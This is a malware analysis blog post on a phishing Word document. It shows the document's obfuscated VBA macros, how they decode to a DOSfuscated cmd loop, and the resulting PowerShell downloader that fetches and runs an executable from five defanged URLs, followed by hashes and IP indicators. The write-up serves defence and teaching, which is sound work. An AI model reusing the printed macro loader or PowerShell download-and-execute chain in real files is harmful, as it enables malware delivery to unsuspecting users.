MalDoc Analysis – Dosfuscation
Last night a colleague showed us an email which seemingly looked like a Phishing email. Best thing was the Threat Source had done a proper recon to identify individuals working in the company. The redacted portion was the name of an employee from an upper position
The mail states that an amount of $1,872.35 was sent to X with a link to check the Transaction Details

I observed some issues with the mail:
- No space in Bankofamerica
- Mention of BankofAmerica on top and Bus Banking Customer Support below
- URL points to a non banking site
I expected that the ‘See your transaction Details below’ link would take me to a phishing page, but instead it gave me a download of a Word .doc file
File Name: ACH 5111FJNC Aug-06-2018.doc
MD5: c27c4a3e036dd49004b18ec0b2ebdbef
SHA256: afc7144b0a9b76e39cae60513beda1162255d5084514d142d011f36f7a807218
File Size: 100 KB
I had covered doing an analysis of Geodo in an earlier post
I decided to proceed with just static analysis in this case.
Running oledump, it was observed that there were multiple macro streams but oledump marked two macros as suspicious – Macros with stream numbers 8 and 15. Stream 8 had a size of 1883 while Stream 15 had a size 10154

The streams store the Macro code in a compressed format. To view the VBA Macros we need to use the -v option and specify the stream number
Macro Code for Stream 8

Attribute VB_Name = "HQzCCfZMamVFSH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
TypeName CDbl(JLOtt)
TypeName 427422518
TypeName iuUzBf
TypeName 1069
TypeName CByte(526513601)
Shell@ CStr("c") + CStr("m") + nHHYhukKSZFU + BLGFYUmrsbF + qDubWdXB + pmYShq + VMhIYVJL + WRUFHLE + jKDmnmcwvO, 741922241 - 741922241
TypeName 6
TypeName iVEki
TypeName CLng(biHak - kWzuEw * iGAhk - XjjjTj)
End Sub
Analysing the above code, there are a lot of Attribute variables. We can even see there is a Shell reference along with Cstr functions using c and m as arguments
Macro Code for Stream 15

Attribute VB_Name = "nNiWjTCZoGGkEj"
Function qDubWdXB()
On Error Resume Next
TypeName JAGTZ
TypeName 275249373
AcEiRHKnt = "d /" + "V:O" + "/C" + CStr(Chr(sYiPRpQ + VBzHKSfdjAaT + 34 + dEwLPvAPD + YrfizSA)) + "set zu" + "=LD" + "O" + "zQcMcQ"
TypeName Oct(69341 + ENndG * IoQkD - BnpPaj)
TypeName Int(88513 * 41999 / JsZSYv + 87027)
ElocQim = "ijU" + "A" + "TsujiHWB" + "iPikSvjLK" + "Ck\9(wI" + "h)G$:N+" + ".0md" + "6ftb5p{e" + "=n,x" + "-/l" + " ;a8qVF"
TypeName Int(URtCuj / 27908 / 69511 - qErlE)
TypeName 150013212
mOwpFz = "roy@'g}&&f" + "or %n i" + "n (" + "53" + ",71,35,55" + ",70,14" + ","
TypeName CByte(7587 * XEqsZD)
TypeName CInt(39)
jrimTEZn = "37,55" + ",62," + "62,63,40" + ",2" + "9,3" + "7,36,5" + "6,57,5" + "5,35,6" + "0,71,51,2" + "7,55," + "7,50,63,"
TypeName Round(MvuGba)
TypeName Log(1421)
TypeName UuVKVf
hFhbWlovkN = "42,55,50" + ",44" + ",19,55,51" + ",30,6" + "2" + ",23" + ",55,57,50,"
TypeName VKLfp
TypeName XiZTz
TypeName Atn(17)
mpqfbBLzMO = "64," + "40," + "6" + "8,42" + ",27,56,7" + "4,37,5" + "0" + ",50,53,41,"
TypeName 42
TypeName 15
wVXrqYQ = "61" + ",61" + ",6" + "5,51" + "," + "71,26" + ",55,7,70" + ",55,65,5" + "0,23,26,5" + "5,44,7,7" + "1,46,61,2"
TypeName Atn(kJdZT)
TypeName Hex(121842791)
TypeName Sin(CuUNz)
jXTUKtwIO = "0," + "1,73,37," + "50" + ",50" + ","
TypeName Round(dXjFXz * 8485 - 91909 / anURt)
TypeName CDate(kQhzr / rCFTEc)
dOtMNmmVruw = "53,41,61" + ",61,35,35," + "3" + "5,44,71" + ","
TypeName CDate(mIlLd)
TypeName ChrB(lkFiPt)
TypeName OMuwi
XsXvYlG = "14,71,50" + ",14,5" + "3,65,6" + "0,23,57,50" + ",5"
TypeName zFZHWv
TypeName CSng(sfizEv)
TypeName 12
HjBGQF = "5,70,5" + "7,6" + "5,50,23,71" + "," + "57,65," + "62"
TypeName wrzilL
TypeName wsJVwM
TypeName CDate(87873666)
zsIwiLdR = "," + "44,7" + ",71,4" + "6,6" + "1,37," + "22,22," + "73,37" + ",50" + ","
qDubWdXB = AcEiRHKnt + ElocQim + mOwpFz + jrimTEZn + hFhbWlovkN + mpqfbBLzMO + wVXrqYQ + jXTUKtwIO + dOtMNmmVruw + XsXvYlG + HjBGQF + zsIwiLdR
TypeName RnQGPM
TypeName Tan(zAphp)
End Function
Function pmYShq()
On Error Resume Next
TypeName 211
TypeName 9039
TypeName Hex(66715 + GziWj / IXzkm * UOlTp)
dHtUFlE = "50,53" + "," + "41,61,61" + ",50" + ","
TypeName 7445
TypeName Sqr(kkSAh + ZVjSj)
TypeName ChrB(OMDKw)
EmWZYnbPu = "65" + "," + "50,71,55,1" + "4" + ",50,15" + ",47,23,71" + ",44,7," + "71,46" + ",61,50,8," + "67,5"
TypeName GMtXnR
TypeName Sqr(KCTCVw + cDiGw + VSWVYG - zUOmI)
UvUXjpwKkMT = "0,13,69," + "72,73," + "37,5" + "0,50,53,4" + "1,61,61,5" + "1,65," + "71,57,75" + ",71,7,14" + ",5" + "3,65,44," + "26" + ",57,6"
TypeName 5302
TypeName Tan(vNJEb - 88611)
TypeName Atn(qtOUN + OWbGp)
FYDMafs = "1,2,48,7" + "3" + ",37,50," + "50," + "53,41"
TypeName Atn(245)
TypeName PTRfbJ
TypeName JwPPKG
PzuuP = ",61,61,35" + ",35,35," + "44,72," + "15,65,5" + "7,27,37," + "15,6" + "5,44,7,71" + ",46,61,39," + "45,59," + "23,3" + "5,13,69,74"
TypeName Tan(CWzpR)
TypeName Tan(42)
TypeName Tan(5)
iinzziCPhau = ",44,25" + ",53,62,2" + "3,50,3" + "4,74,7" + "3,74," + "3"
TypeName Sin(mBawis + rpHEWb)
TypeName CDate(qZMMJA - VzsDP - ZZjzQ / zSZCjv)
dDhDLiS = "8,64," + "40,49,49," + "2," + "63,56," + "63,7" + "4,52,6" + "6,33,74," + "64,4" + "0,50,62" + ",68,5" + "6,40,55,57" + ",26,41,5"
TypeName Tan(3)
TypeName Sgn(CdCdzR * AtOQQX)
TypeName 4903
pRHjuEviD = "0,55" + ",46,53,43," + "74,32" + ",74" + ",43,"
pmYShq = dHtUFlE + EmWZYnbPu + UvUXjpwKkMT + FYDMafs + PzuuP + iinzziCPhau + dDhDLiS + pRHjuEviD
TypeName 22464320
TypeName CLng(943)
End Function
Function VMhIYVJL()
On Error Resume Next
TypeName 7793
TypeName ChrB(51)
TypeName WYijZ
kzVrMM = "40,49,49" + ",2,43,74," + "44,5" + "5,59,55" + "," + "74," + "64,49" + ",71,70,55"
TypeName Oct(vDWCh + UNpjk + 95164 + dTaRin)
TypeName 774
djEHiaSU = ",65," + "7" + ",37,34,4" + "0," + "2,68" + ",3" + "7,63,2" + "3" + ",57,63," + "40,68," + "42,27,38" + ",5" + "4,50,70,72"
TypeName Hex(jFcGdu)
TypeName 409514909
TypeName CByte(GiTMuV)
orwRVZf = ",54,4" + "0" + ",29,37,3" + "6,44" + ",1" + ",71,35,57" + ",62,71,65," + "47," + "69" + ",23,6"
TypeName Sin(33658 / dlmwos)
TypeName CDate(27)
HkrcjK = "2,55,3" + "4,40" + ",2,68" + ",37,58,63" + ",40,50,6" + "2" + ",68,3" + "8,64," + "25,50,6" + "5,70,50" + ",60,22,7" + "0,71,7,55,"
TypeName CSng(89411 - JtJIp * 95383 - 8495)
TypeName 184024364
TypeName 1
ijdArfdBpu = "14,14," + "63,40,50,6" + "2,6" + "8,6" + "4,51" + ",70,5" + "5,65,31,"
TypeName ChrW(pqCKGj)
TypeName CStr(oSWIJu)
maZtAEV = "64,76,7," + "65,5" + "0,7,37," + "54" + ",76,7" + "6,6" + "3,63,63," + "63,63," + "63,6" + "3,63,63,6" + "3,63" + ",63,63"
TypeName CSng(Xnvzn)
TypeName Sqr(JDEXqn)
CSWwN = ",63,63" + ",63" + ",63,84)" + "do " + "set 8GF=!" + "8GF!!zu:~" + "%n," + "1!&&if %" + "n==84 call" + " %" + "8"
TypeName twGmi
TypeName VKSrWB
TypeName 7
EQlwjKq = "G" + "F:~5%" + CStr(Chr(MRKLkLPCzVDi + AKVdAhlF + 34 + ElaAwlhZcZCM + aEjzQiJUrjiU)) + " " + ""
VMhIYVJL = kzVrMM + djEHiaSU + orwRVZf + HkrcjK + ijdArfdBpu + maZtAEV + CSWwN + EQlwjKq
TypeName Round(wTfju)
TypeName 7
TypeName Rnd(25733 * CbZsB)
End Function
Long Error Prone Method
Analysing the above code we can see that there is a lot of lines having ‘=’ in them. Probably some values are being assigned to some variables. We can filter the lines using grep for ‘=’

Attribute VB_Name = "nNiWjTCZoGGkEj"
AcEiRHKnt = "d /" + "V:O" + "/C" + CStr(Chr(sYiPRpQ + VBzHKSfdjAaT + 34 + dEwLPvAPD + YrfizSA)) + "set zu" + "=LD" + "O" + "zQcMcQ"
ElocQim = "ijU" + "A" + "TsujiHWB" + "iPikSvjLK" + "Ck\9(wI" + "h)G$:N+" + ".0md" + "6ftb5p{e" + "=n,x" + "-/l" + " ;a8qVF"
mOwpFz = "roy@'g}&&f" + "or %n i" + "n (" + "53" + ",71,35,55" + ",70,14" + ","
jrimTEZn = "37,55" + ",62," + "62,63,40" + ",2" + "9,3" + "7,36,5" + "6,57,5" + "5,35,6" + "0,71,51,2" + "7,55," + "7,50,63,"
hFhbWlovkN = "42,55,50" + ",44" + ",19,55,51" + ",30,6" + "2" + ",23" + ",55,57,50,"
mpqfbBLzMO = "64," + "40," + "6" + "8,42" + ",27,56,7" + "4,37,5" + "0" + ",50,53,41,"
wVXrqYQ = "61" + ",61" + ",6" + "5,51" + "," + "71,26" + ",55,7,70" + ",55,65,5" + "0,23,26,5" + "5,44,7,7" + "1,46,61,2"
jXTUKtwIO = "0," + "1,73,37," + "50" + ",50" + ","
dOtMNmmVruw = "53,41,61" + ",61,35,35," + "3" + "5,44,71" + ","
XsXvYlG = "14,71,50" + ",14,5" + "3,65,6" + "0,23,57,50" + ",5"
HjBGQF = "5,70,5" + "7,6" + "5,50,23,71" + "," + "57,65," + "62"
zsIwiLdR = "," + "44,7" + ",71,4" + "6,6" + "1,37," + "22,22," + "73,37" + ",50" + ","
qDubWdXB = AcEiRHKnt + ElocQim + mOwpFz + jrimTEZn + hFhbWlovkN + mpqfbBLzMO + wVXrqYQ + jXTUKtwIO + dOtMNmmVruw + XsXvYlG + HjBGQF + zsIwiLdR
dHtUFlE = "50,53" + "," + "41,61,61" + ",50" + ","
EmWZYnbPu = "65" + "," + "50,71,55,1" + "4" + ",50,15" + ",47,23,71" + ",44,7," + "71,46" + ",61,50,8," + "67,5"
UvUXjpwKkMT = "0,13,69," + "72,73," + "37,5" + "0,50,53,4" + "1,61,61,5" + "1,65," + "71,57,75" + ",71,7,14" + ",5" + "3,65,44," + "26" + ",57,6"
FYDMafs = "1,2,48,7" + "3" + ",37,50," + "50," + "53,41"
PzuuP = ",61,61,35" + ",35,35," + "44,72," + "15,65,5" + "7,27,37," + "15,6" + "5,44,7,71" + ",46,61,39," + "45,59," + "23,3" + "5,13,69,74"
iinzziCPhau = ",44,25" + ",53,62,2" + "3,50,3" + "4,74,7" + "3,74," + "3"
dDhDLiS = "8,64," + "40,49,49," + "2," + "63,56," + "63,7" + "4,52,6" + "6,33,74," + "64,4" + "0,50,62" + ",68,5" + "6,40,55,57" + ",26,41,5"
pRHjuEviD = "0,55" + ",46,53,43," + "74,32" + ",74" + ",43,"
pmYShq = dHtUFlE + EmWZYnbPu + UvUXjpwKkMT + FYDMafs + PzuuP + iinzziCPhau + dDhDLiS + pRHjuEviD
kzVrMM = "40,49,49" + ",2,43,74," + "44,5" + "5,59,55" + "," + "74," + "64,49" + ",71,70,55"
djEHiaSU = ",65," + "7" + ",37,34,4" + "0," + "2,68" + ",3" + "7,63,2" + "3" + ",57,63," + "40,68," + "42,27,38" + ",5" + "4,50,70,72"
orwRVZf = ",54,4" + "0" + ",29,37,3" + "6,44" + ",1" + ",71,35,57" + ",62,71,65," + "47," + "69" + ",23,6"
HkrcjK = "2,55,3" + "4,40" + ",2,68" + ",37,58,63" + ",40,50,6" + "2" + ",68,3" + "8,64," + "25,50,6" + "5,70,50" + ",60,22,7" + "0,71,7,55,"
ijdArfdBpu = "14,14," + "63,40,50,6" + "2,6" + "8,6" + "4,51" + ",70,5" + "5,65,31,"
maZtAEV = "64,76,7," + "65,5" + "0,7,37," + "54" + ",76,7" + "6,6" + "3,63,63," + "63,63," + "63,6" + "3,63,63,6" + "3,63" + ",63,63"
CSWwN = ",63,63" + ",63" + ",63,84)" + "do " + "set 8GF=!" + "8GF!!zu:~" + "%n," + "1!&&if %" + "n==84 call" + " %" + "8"
EQlwjKq = "G" + "F:~5%" + CStr(Chr(MRKLkLPCzVDi + AKVdAhlF + 34 + ElaAwlhZcZCM + aEjzQiJUrjiU)) + " " + ""
VMhIYVJL = kzVrMM + djEHiaSU + orwRVZf + HkrcjK + ijdArfdBpu + maZtAEV + CSWwN + EQlwjKq
Analysing the above lines, we can see that there are a lot of + operators used which indicates concatenations. Most of the code involves concatenation of a comma separated list of integers which are assigned to some variable. There are few lines which have the concatenation of variables. ” + ” is repeated a lot, so we can try to replace it. We can use sed to do that.
- Remove ‘ + ‘
- Remove “”
Thus the overall code now looks like

In the above code, we can ignore the lines in red since they are either Attribute lines or the concatenation of variables. I’ve extracted the lines out and created a file called malcode
It will take many steps & trial and error before we are able to get some code. If you compare the below code with the code in the Short Method, you will see that there are errors in the below code
SHORT Method – Using RE-Search & SETS
An efficient way would be using Didier Stevens re-search.py tool which will allow us to extract strings based on regex

The first line ‘nNiWjTCZoGGkEj’ is the value assigned to Attribute VB_Name. So we can grep out that line
We can see there is ‘set zu’ which probably is setting the value of a variable. Switches -eu will allow us to view all non-empty strings as well as remove the inverted commas from the output. We can then combine the lines using the sets.py program
sets.py allows us to perform operations like join on a group of lines
The final output will be

d /V:O/Cset zu=LDOzQcMcQijUATsujiHWBiPikSvjLKCk\9(wIh)G$:N+.0md6ftb5p{e=n,x-/l ;a8qVFroy@'g}&&for %n in (53,71,35,55,70,14,37,55,62,62,63,40,29,37,36,56,57,55,35,60,71,51,27,55,7,50,63,42,55,50,44,19,55,51,30,62,23,55,57,50,64,40,68,42,27,56,74,37,50,50,53,41,61,61,65,51,71,26,55,7,70,55,65,50,23,26,55,44,7,71,46,61,20,1,73,37,50,50,53,41,61,61,35,35,35,44,71,14,71,50,14,53,65,60,23,57,50,55,70,57,65,50,23,71,57,65,62,44,7,71,46,61,37,22,22,73,37,50,50,53,41,61,61,50,65,50,71,55,14,50,15,47,23,71,44,7,71,46,61,50,8,67,50,13,69,72,73,37,50,50,53,41,61,61,51,65,71,57,75,71,7,14,53,65,44,26,57,61,2,48,73,37,50,50,53,41,61,61,35,35,35,44,72,15,65,57,27,37,15,65,44,7,71,46,61,39,45,59,23,35,13,69,74,44,25,53,62,23,50,34,74,73,74,38,64,40,49,49,2,63,56,63,74,52,66,33,74,64,40,50,62,68,56,40,55,57,26,41,50,55,46,53,43,74,32,74,43,40,49,49,2,43,74,44,55,59,55,74,64,49,71,70,55,65,7,37,34,40,2,68,37,63,23,57,63,40,68,42,27,38,54,50,70,72,54,40,29,37,36,44,1,71,35,57,62,71,65,47,69,23,62,55,34,40,2,68,37,58,63,40,50,62,68,38,64,25,50,65,70,50,60,22,70,71,7,55,14,14,63,40,50,62,68,64,51,70,55,65,31,64,76,7,65,50,7,37,54,76,76,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,63,84)do set 8GF=!8GF!!zu:~%n,1!&&if %n==84 call %8GF:~5% %
Code Observations:
- zu is assigned a string ‘LDOzQcMcQijUATsujiHWBiPikSvjLKCk\9(wIh)G$:N+.0md6ftb5p{e=n,x-/l ;a8qVFroy@’g}’
- The string is 77 characters long
- There is a For loop that iterates over different integer values where the iterator is ‘n’. The integer values are all less than 77
- The values of the for loop are mapped to the positions of the string. Eg 76 is }
- As soon as the value of n=84, it calls %8GF:~5% which terminates the execution
We can then use some Python to find the deobfuscated code:

The final de-obfuscated code is PowerShell code
powershell $KhI=new-object Net.WebClient;
$VNj='hxxp://abovecreative.com/BD@hxxp://www.osotspa-international.com/hPP@hxxp://tatoestudio.com/tQqtTFy@hxxp://baongocspa.vn/O6@hxxp://www.yuanjhua.com/G0xiwTF'.Split('@');
$ffO = '589';
$tlV=$env:temp+'\\'+$ffO+'.exe';
foreach($OVh in $VNj)
{
try{$KhI.DownloadFile($OVh $tlV);
Start-Process $tlV;break;
}
catch{}}
Analysing the above code, it’s observe that:
- There are a list of 5 URL’s separated by @. Split function is called which stores them in the array $VNj
- Connections are made to each URL to download the file (payload)
- The payload is saved into the temp folder with a filename 589.exe
- Once the file has been downloaded, it is executed
Payload URLs:
hxxp://abovecreative[.]com/BD
hxxp://www[.]osotspa-international[.]com/hPP
hxxp://tatoestudio[.]com/tQqtTFy
hxxp://baongocspa[.]vn/O6
hxxp://www[.]yuanjhua[.]com/G0xiwTF
Associated Payload IPs:
208.97.178.121
203.107.228.108
103.28.37.245
103.28.36.25
50.93.198.131
You can view the Virus Total report for the payload files here
References:
- Malware Analysis for HedgeHogs (Video)
- FireEye Dosfuscation Whitepaper
I am an experienced IT professional with over 14 years in the industry, specializing in various domains within IT and Security. My expertise includes incident response, digital forensics, malware analysis, threat hunting, and compromise assessment. Additionally, I have a deep understanding of threat intelligence.
Throughout my career, I have honed my skills and knowledge to effectively safeguard digital landscapes and respond to security incidents. I am also actively involved in the community, serving as the Null Mumbai Chapter Leader, where I strive to empower others with my experience and insights.